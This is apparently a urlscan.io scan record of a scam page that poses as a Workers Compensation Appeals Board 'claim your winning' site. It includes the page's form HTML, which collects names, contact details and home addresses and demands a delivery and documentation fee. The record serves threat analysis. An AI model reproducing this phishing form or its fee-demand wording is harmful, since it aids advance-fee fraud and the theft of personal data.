wc-board.icu Open in urlscan Pro
95.213.255.249  Public Scan

URL: https://wc-board.icu/claims/index.html
Submission: On October 15 via manual from NZ

Form analysis 1 forms found in the DOM

Name: New FormPOST post.php

<form action="post.php" class="elementor-form" method="post" name="New Form">
  <div class="elementor-form-fields-wrapper elementor-labels-above">
    <div class="elementor-field-type-text elementor-field-group elementor-column elementor-field-group-name elementor-col-50 elementor-field-required"><label class="elementor-field-label" for="form-field-name">Firstname</label><input
        aria-required="true" class="elementor-field elementor-size-sm  elementor-field-textual" id="form-field-name" name="Firstname" placeholder="Firstname" required="required" size="1" type="text"></div>
    <div class="elementor-field-type-text elementor-field-group elementor-column elementor-field-group-5bbc8d2 elementor-col-50 elementor-field-required"><label class="elementor-field-label" for="form-field-5bbc8d2">Lastname</label><input
        aria-required="true" class="elementor-field elementor-size-sm  elementor-field-textual" id="form-field-5bbc8d2" name="Lastname" placeholder="Lastname" required="required" size="1" type="text"></div>
    <div class="elementor-field-type-email elementor-field-group elementor-column elementor-field-group-email elementor-col-50 elementor-field-required"><label class="elementor-field-label" for="form-field-email">Email</label><input
        aria-required="true" class="elementor-field elementor-size-sm  elementor-field-textual" id="form-field-email" name="Email" placeholder="Email" required="required" size="1" type="email"></div>
    <div class="elementor-field-type-text elementor-field-group elementor-column elementor-field-group-653791c elementor-col-50 elementor-field-required"><label class="elementor-field-label" for="form-field-653791c">Phone </label><input
        aria-required="true" class="elementor-field elementor-size-sm  elementor-field-textual" id="form-field-653791c" name="Phone" placeholder="Enter phone number" required="required" size="1" type="text"></div>
    <div class="elementor-field-type-textarea elementor-field-group elementor-column elementor-field-group-56dab15 elementor-col-66 elementor-field-required"><label class="elementor-field-label" for="form-field-56dab15">Home address</label><textarea
        aria-required="true" class="elementor-field-textual elementor-field  elementor-size-sm" id="form-field-56dab15" name="Address" placeholder="Enter home address" required="required" rows="2"></textarea></div>
    <div class="elementor-field-type-radio elementor-field-group elementor-column elementor-field-group-4f7f349 elementor-col-33 elementor-field-required"><label class="elementor-field-label" for="form-field-4f7f349">Please choose </label>
      <div class="elementor-field-subgroup  elementor-subgroup-inline"><span class="elementor-field-option"><input aria-required="true" id="form-field-4f7f349-0" name="Ownership" required="required" type="radio" value="Home Owner"> <label
            for="form-field-4f7f349-0">Home Owner</label></span><span class="elementor-field-option"><input aria-required="true" id="form-field-4f7f349-1" name="Ownership" required="required" type="radio" value="Rented Apartment"> <label
            for="form-field-4f7f349-1">Rented Apartment</label></span></div>
    </div>
    <div class="elementor-field-type-select elementor-field-group elementor-column elementor-field-group-b015fb7 elementor-col-100 elementor-field-required"><label class="elementor-field-label" for="form-field-b015fb7">How do you want your
        winning?</label>
      <div class="elementor-field elementor-select-wrapper "><select aria-required="true" class="elementor-field-textual elementor-size-sm" id="form-field-b015fb7" name="Payment" required="required">
          <option value="Cash">Cash</option>
          <option value="Cheque">Cheque</option>
        </select></div>
    </div>
    <div class="elementor-field-type-acceptance elementor-field-group elementor-column elementor-field-group-bd21179 elementor-col-100 elementor-field-required"><label class="elementor-field-label" for="form-field-bd21179">Please read the message
        below before claiming your winning</label>
      <div class="elementor-field-subgroup"><span class="elementor-field-option"><input aria-required="true" class="elementor-field elementor-size-sm  elementor-acceptance-field" id="form-field-bd21179" name="form_fields[bd21179]" required="required"
            type="checkbox"> <label for="form-field-bd21179">You are required to pay for delivery and documentation fee.</label></span></div>
    </div>
    <div class="elementor-field-group elementor-column elementor-field-type-submit elementor-col-50"><button class="elementor-button elementor-size-sm" type="submit"><span><span class="elementor-button-text">Send</span> </span></button></div>
  </div>
</form>

Text Content

Skip to content
Some success stories The latest information about Workers Compensation Appeals
Board (WCAB) and Department of Health & Human Service (DHHS) success storiesĂ—
Dismiss alert
Contact us
 * WCAB Information
 * About us
 * News
   * Our community
   * Success stories
 * Claims
 * Qualified winners list

Menu
 * WCAB Information
 * About us
 * News
   * Our community
   * Success stories
 * Claims
 * Qualified winners list

Claim your winning
The key is not the will to win… everybody has that. It is the will to prepare to
win that is important.


OUR REQUIREMENTS AND DOCUMENTS

 * Contact your agent to proceed on your claim.
 * You are required to pay for your documentation and delivery fee because no
   agent is allowed to touch individual winnings.
 * This is a 24 hours Service.

Firstname
Lastname
Email
Phone
Home address
Please choose
Home Owner Rented Apartment
How do you want your winning?
CashCheque
Please read the message below before claiming your winning
You are required to pay for delivery and documentation fee.
Send


LEGAL

 * Terms of use
 * Copyright
 * Privacy policy


ABOUT US

 * Qualified winners list
 * Contact us
 * About us
 * Claims


EXTRA

 * Qualified winners list
 * Success stories
 * Our community
 * Home


 * Link opens in new window. Site may not meet accessibility guidelines.